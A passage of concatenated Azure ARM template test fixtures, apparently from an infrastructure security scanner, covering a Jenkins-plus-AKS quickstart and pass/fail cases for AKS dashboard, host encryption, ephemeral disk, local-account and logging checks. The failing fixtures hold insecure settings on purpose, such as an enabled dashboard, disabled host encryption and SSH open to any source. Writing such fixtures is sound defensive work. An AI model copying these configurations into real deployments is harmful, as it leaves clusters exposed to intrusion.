"_artifactsLocationSasToken": "" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('vmName')]", "apiVersion": "2016-04-30-preview", "location": "[parameters('location')]", "properties": { "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } } }, "hardwareProfile": { "vmSize": "[parameters('virtualMachineSize')]" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" }, "osDisk": { "name": "[variables('OSDiskName')]", "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" } ] } }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" ], "resources": [ { "type": "extensions", "name": "[variables('vmExtensionName')]", "apiVersion": "2015-06-15", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]", "[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]" ], "properties": { "publisher": "Microsoft.Azure.Extensions", "type": "CustomScript", "typeHandlerVersion": "2.0", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]" ] }, "protectedSettings": { "commandToExecute": "[concat('./', variables('_extensionScript'), ' --app_id \"', parameters('servicePrincipalAppId'), '\" --app_key \"', parameters('servicePrincipalAppKey'), '\" --subscription_id \"', subscription().subscriptionId, '\" --tenant_id \"', subscription().tenantId, '\" --resource_group \"', resourceGroup().name, '\" --aks_name \"', variables('aksName'), '\" --jenkins_fqdn \"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\" --artifacts_location \"', variables('_artifactsLocation'), '\" --sas_token \"', variables('_artifactsLocationSasToken'), '\"')]" } } } ] }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "apiVersion": "2016-12-01", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.89.0.0/16" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "10.89.0.0/24" } } ] } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('nicName')]", "apiVersion": "2016-09-01", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]", "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" ] }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[parameters('jenkinsDnsPrefix')]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "name": "[variables('frontEndNSGName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-ssh", "properties": { "priority": 1000, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } }, { "name": "allow-jenkins-http", "properties": { "priority": 1001, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "80" } } ] } }, { "apiVersion": "2017-08-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[variables('aksName')]", "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('aksDnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "count": 2, "vmSize": "[parameters('virtualMachineSize')]", "osType": "Linux", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('adminUsername')]", "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalAppId')]", "Secret": "[parameters('servicePrincipalAppKey')]" } } } ], "outputs": { "admin_username": { "type": "string", "value": "[parameters('adminUsername')]" }, "jenkins_vm_fqdn": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "jenkins_url": { "type": "string", "value": "[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "SSH": { "type": "string", "value": "[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "kubernetes_master_fqdn": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": {} } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": { "kubeDashboard": { "config": null, "enabled": true } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": "yo" } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": { "kubeDashboard": { "config": null, "enabled": false } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-03-02", "name": "fail1", "location": "East US", "properties": { "vmSize": "Standard_DS2_v2", "count": 1, "tags": { "Enviroment": "Production" }, "agentPoolProfiles": [ { "name": "default", "enableEncryptionAtHost": false, "vmSize": "Standard_E4ads_v5", "osDiskType": "Ephemeral", "availabilityZones": [1, 2, 3], "type": "VirtualMachineScaleSets", "maxCount": 6, "minCount": 2, "enableAutoScaling": true, "orchestratorVersion": "[parameters('kubernetesVersion')]", "vnetSubnetID": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-03-02", "name": "fail2", "location": "East US", "properties": { "vmSize": "Standard_DS2_v2", "count": 1, "agentPoolProfiles": [ { "name": "default", "vmSize": "Standard_E4ads_v5", "osDiskType": "Ephemeral", "availabilityZones": [1, 2, 3], "onlyCriticalAddonsEnabled": true, "type": "VirtualMachineScaleSets", "vnetSubnetID": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}", "enableAutoScaling": true, "maxCount": 6, "minCount": 2, "orchestratorVersion": "[parameters('kubernetesVersion')]" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/failA1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2014-04-01", "name": "failA1", "properties": { "count": 1, "enableEncryptionAtHost": false, "vmSize": "Standard_DS2_v2", "tags": { "Environment": "Production" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/failA2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2014-04-01", "name": "failA2", "properties": { "nodeCount": 1, "vmSize": "Standard_DS2_v2", "tags": { "Environment": "Production" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-03-02", "name": "pass", "location": "East US", "properties": { "vmSize": "Standard_DS2_v2", "nodeCount": 1, "agentPoolProfiles": [ { "name": "default", "enableEncryptionAtHost": true, "vmSize": "Standard_E4ads_v5", "osDiskType": "Ephemeral", "availabilityZones": [ 1, 2, 3 ], "onlyCriticalAddOns": true, "type": "VirtualMachineScaleSets", "maxCount": 6, "minCount": 2, "orchestratorVersion": "[parameters('kubernetesVersion')]", "vnetSubnetID": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{subnetName}" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEncryptionAtHostEnabled/passA.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2014-04-01", "name": "passA", "properties": { "count": 1, "enableEncryptionAtHost": true, "orchestratorVersion": "[parameters('kubernetesVersion')]", "vmSize": "Standard_DS2_v2", "tags": { "Environment": "Production" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEphemeralOSDisks/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "fail", "properties": { "vmSize": "Standard_DS2_v2", "count": 1, "tags": { "Environment": "Production" }, "agentPoolProfiles": [ { "name": "default", "enableEncryptionAtHost": true, "vmSize": "Standard_E4ads_v5", "availabilityZones": [ 1, 2, 3 ], "type": "VirtualMachineScaleSets", "vnetSubnetID": "", "enableAutoScaling": true, "maxCount": 6, "minCount": 2, "orchestratorVersion": "" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEphemeralOSDisks/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "fail2", "properties": { "vmSize": "Standard_DS2_v2", "count": 1, "osDiskType": "Managed", "tags": { "Environment": "Production" }, "agentPoolProfiles": [ { "name": "default", "enableEncryptionAtHost": true, "vmSize": "Standard_E4ads_v5", "osDiskType": "Managed", "availabilityZones": [ 1, 2, 3 ], "type": "VirtualMachineScaleSets", "vnetSubnetID": "", "enableAutoScaling": true, "maxCount": 6, "minCount": 2, "orchestratorVersion": "" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSEphemeralOSDisks/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "pass", "properties": { "osDiskType": "Ephemeral", "vmSize": "Standard_DS2_v2", "count": 1, "agentPoolProfiles": [ { "name": "default", "osDiskType": "Ephemeral", "enableEncryptionAtHost": true, "vmSize": "Standard_E4ads_v5", "availabilityZones": [ 1, 2, 3 ], "type": "VirtualMachineScaleSets", "vnetSubnetID": "", "enableAutoScaling": true, "maxCount": 6, "minCount": 2, "orchestratorVersion": "" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSLocalAdminDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "fail", "properties": { "resourceType": "Microsoft.ContainerService/managedClusters", "agentPoolProfiles": [ { "name": "default", "count": 1, "vmSize": "Standard_D2_v2" } ], "identity": { "type": "SystemAssigned" } }, "tags": { "Environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSLocalAdminDisabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "fail2", "properties": { "resourceType": "Microsoft.ContainerService/managedClusters", "agentPoolProfiles": [ { "name": "default", "count": 1, "vmSize": "Standard_D2_v2" } ], "identity": { "type": "SystemAssigned" }, "disableLocalAccounts": false }, "tags": { "Environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSLocalAdminDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2018-06-01", "name": "pass", "properties": { "resourceType": "Microsoft.ContainerService/managedClusters", "agentPoolProfiles": [ { "name": "default", "count": 1, "vmSize": "Standard_D2_v2" } ], "identity": { "type": "SystemAssigned" }, "disableLocalAccounts": true }, "tags": { "Environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSLoggingEnabled/AKSLoggingEnabled-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": { "kubeDashboard": { "config": null, "enabled": false } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "virtualMachineSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "allowedValues": [ "Standard_B2s", "Standard_B2ms", "Standard_D2s_v3", "Standard_D2_v3", "Standard_DS2_v2", "Standard_D2_v2", "Standard_DS2", "Standard_D2", "Standard_A2_v2", "Standard_A2" ], "metadata": { "description": "The virutal machine size to use. We 